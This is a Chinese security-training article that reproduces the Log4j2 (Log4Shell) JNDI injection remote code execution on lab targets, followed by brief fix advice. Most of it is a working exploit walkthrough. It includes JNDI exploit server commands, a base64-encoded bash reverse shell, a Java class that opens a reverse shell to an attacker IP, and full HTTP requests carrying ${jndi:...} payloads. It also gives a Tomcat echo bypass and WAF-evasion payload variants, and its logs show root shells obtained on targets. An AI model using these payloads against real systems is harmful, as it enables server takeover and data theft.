学网安渗透
扫码加我吧
免费&进群
来Track安全社区投稿~
千元稿费!还有保底奖励~
漏洞简介
Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。
基本原理
apache 的 log4j2 版本,在打印日志内容时,使用了一个 lookup 函数,如果数据中存在${xxxx}这样的格式的数据,那 log4j 就会将该数据当做资源地址进行请求,如果说这串数据是一个 ldap 服务的资源地址,那么就可能造成 JNDI 注入,从而导致 RCE,因此也可以说该漏洞是一个 JDNI 注入漏洞。
0x01 影响范围
版本:Apache Log4j 2.x < 2.15.0-rc2
含有该漏洞的 Log4j 影响到超过 6000 个中间件或应用,目前已知的可能受影响的应用及组件包括但不限于如下清单中所列出的:
-
Spring-Boot-strater-log4j2
-
Apache Struts2
-
Apache Solr
-
Apache Flink
-
Apache Druid
-
ElasticSearch
-
Flume
-
Dubbo
-
Redis
-
Logstash
-
Kafka
0x02 漏洞修复
1)升级 log4j2 到最新的 log4j-2.15.0 版本。官方升级的防御方法:
只允加载被允许的 ldap 资源文件 只允许加载固定的 ldap 资源地址 2)修改配置信息 在项目的 log4j2.component.properties 配置文件中添加配置(值得注意的是该方法只适用于 log4j-2.10.0 以上版本):
log4j2.formatMsgNoLookups = true
也可以在 java 的启动项中添加该配置:
Dlog4j2.formatMsgNoLookups=true
3)使用各种软硬件 waf
0x03 漏洞复现
漏洞复现需要 java 环境
apt-get update
apt install default-jre
apt install openjdk-8-jdk
apt install openjdk-8-jre-headless
姿势 1
Vulfocus log4j2-rce 靶机
环境来自https://www.ctfer.vip/
抓包
然后用 vps 起 jndi 和 nc 监听,安全组要开放 1099、1389、8180 几个端口
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "1.2.3.4"
监听
nc -lnvp 6666
POST 传入 payload
/hello
payload=${jndi:rmi://ip:1099/e6hn8w}
复现成功
复现过程
root@atkx:/var/www/ctf# ls
JNDIExploit-1.2-SNAPSHOT.jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar marshalsec-0.0.3-SNAPSHOT-all.jar test1
root@atkx:/var/www/ctf# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTkuMTIyLjI1NC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "vps"
[ADDRESS] >> vps
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTkuMTIyLjI1NC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://vps:1099/46zkaz
ldap://vps:1389/46zkaz
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://vps:1099/e6hn8w
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://vps:1099/tgf9tx
ldap://vps:1389/tgf9tx
----------------------------Server Log----------------------------
2021-12-15 18:55:08 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2021-12-15 18:55:08 [RMISERVER] >> Listening on 0.0.0.0:1099
2021-12-15 18:55:08 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2021-12-15 18:55:48 [RMISERVER] >> Have connection from /1.14.71.254:35328
2021-12-15 18:55:49 [RMISERVER] >> Reading message...
2021-12-15 18:55:49 [RMISERVER] >> Is RMI.lookup call for e6hn8w 2
2021-12-15 18:55:49 [RMISERVER] >> Sending local classloading reference.
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by util.Reflections (file:/var/www/ctf/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar) to field com.sun.jndi.rmi.registry.ReferenceWrapper.wrappee
WARNING: Please consider reporting this to the maintainers of util.Reflections
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
2021-12-15 18:55:49 [RMISERVER] >> Closing connection
2021-12-15 18:55:50 [RMISERVER] >> Have connection from /1.14.71.254:35330
2021-12-15 18:55:50 [RMISERVER] >> Reading message...
2021-12-15 18:55:50 [RMISERVER] >> Is RMI.lookup call for e6hn8w 2
2021-12-15 18:55:50 [RMISERVER] >> Sending local classloading reference.
2021-12-15 18:55:50 [RMISERVER] >> Closing connection
2021-12-15 18:55:50 [RMISERVER] >> Have connection from /1.14.71.254:35334
2021-12-15 18:55:50 [RMISERVER] >> Reading message...
2021-12-15 18:55:50 [RMISERVER] >> Is RMI.lookup call for e6hn8w 2
2021-12-15 18:55:50 [RMISERVER] >> Sending local classloading reference.
2021-12-15 18:55:50 [RMISERVER] >> Closing connection
2021-12-15 18:55:51 [RMISERVER] >> Have connection from /1.14.71.254:35338
2021-12-15 18:55:51 [RMISERVER] >> Reading message...
2021-12-15 18:55:51 [RMISERVER] >> Is RMI.lookup call for e6hn8w 2
2021-12-15 18:55:51 [RMISERVER] >> Sending local classloading reference.
2021-12-15 18:55:51 [RMISERVER] >> Closing connection
另开窗口监听
root@atkx:~# nc -lnvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 1.14.71.254 47878 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c24ad0372627:/demo# id
id
uid=0(root) gid=0(root) groups=0(root)
root@c24ad0372627:/demo# whoami
whoami
root
root@c24ad0372627:/demo# env
env
HOSTNAME=c24ad0372627
PWD=/demo
HOME=/root
LS_COLORS=
FLAG=NSSCTF{1a105ee4-cb02-4a07-99ef-3645c451eb6a}
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
root@c24ad0372627:/demo#
Payload
POST /hello HTTP/1.1
Host: 1.14.71.254:28035
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://1.14.71.254:28035
Connection: close
Referer: http://1.14.71.254:28035/hello
Upgrade-Insecure-Requests: 1
payload=${jndi:rmi://vps:1099/e6hn8w}
姿势 2
掌控安全-Log4j2 靶场
靶场地址:http://d63bb2586.lab.aqlab.cn/
工具地址:https://github.com/RandomRobbieBF/marshalsec-jar
1、构造反序列化 Exp.java,改一下 ip 就好了
import java.lang.Runtime;
import java.lang.Process;
public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、用 javac 编译一下
javac Exp.java
3、将刚刚得到的 class 放入我们即将开启的 web 目录里面,然后开启
root@atkx:/var/www/ctf/test1# ls
Exp.class Exp.java
root@atkx:/var/www/ctf/test1# python -m SimpleHTTPServer 5555
或者
root@atkx:/var/www/ctf/test1# python3 -m http.server 5555
4、访问效果可以看一下
5、然后执行以下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exp" 5556
遇到报错了
root@atkx:/var/www/ctf# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vps:5555/#Exp" 5556
6、nc 开启监听命令 监听上面 java 里面的端口
nc -lnvp 6666
7、准备工作搞完了,就直接 payload
${jndi:ldap://ip:5556/Exp}
复现成功
姿势 3
Apache log4j 漏洞靶机 靶机环境来自https://www.ctfer.vip/
工具地址:https://github.com/feihong-cs/JNDIExploit
也可以使用 Log4j2 漏洞环境进行复现,环境下载地址:https://github.com/fengxuangit/log4j_vuln
docker创建环境命令:
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
靶机
执行
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip
然后监听
nc -lnvp 6666
然后 POST 传入
/webstudy/hello-fengxuan
c=${jndi:ldap://ip:1389/Basic/Command/Base64/Base编码}
反弹 shell 成功
命令执行ByPass
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip -l 1389 -p 5555
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 5555...
payload 传入
POST /hello HTTP/1.1
Host: 1.14.71.254:28009
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://1.14.71.254:28009
Connection: close
Referer: http://1.14.71.254:28009/hello
Upgrade-Insecure-Requests: 1
cmd: whoami
payload=${jndi:ldap://vps:1389/TomcatByPass/TomcatEcho}
复现成功
但是貌似这种方法弹不了 shell,不知道是不是我的问题。。。。
log4shell-vulnerable-app 靶机
入口路由/,参数为 X-Api-Version 请求头 https://github.com/christophetd/log4shell-vulnerable-app
最后附一款 GUI 工具,项目地址:
GitHub - inbug-team/Log4j_RCE_Tool:Log4j 多线程批量检测利用工具
0x04 ByPass
一些Bypass技巧
${${::-j}ndi:${lower:rmi}://vw3nwn.dnslog.cn/exp}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://vps:1099/dj05um}
0x04 修复建议
-
log4j升级到最新版本
-
通过增加参数配置,禁用日志简单表达式功能(lookup功能)
-
修改或删除JndiLookup类,禁用 jndi lookup
参考文章:
https://mp.weixin.qq.com/s/lQhG7MOFurKsSP5yz1b3EA https://gylq.gitee.io/posts/180.html https://blog.csdn.net/weixin_42891146/article/details/121871851
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+交流群+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
原文始发于微信公众号(掌控安全EDU):Apache Log4j2任意代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论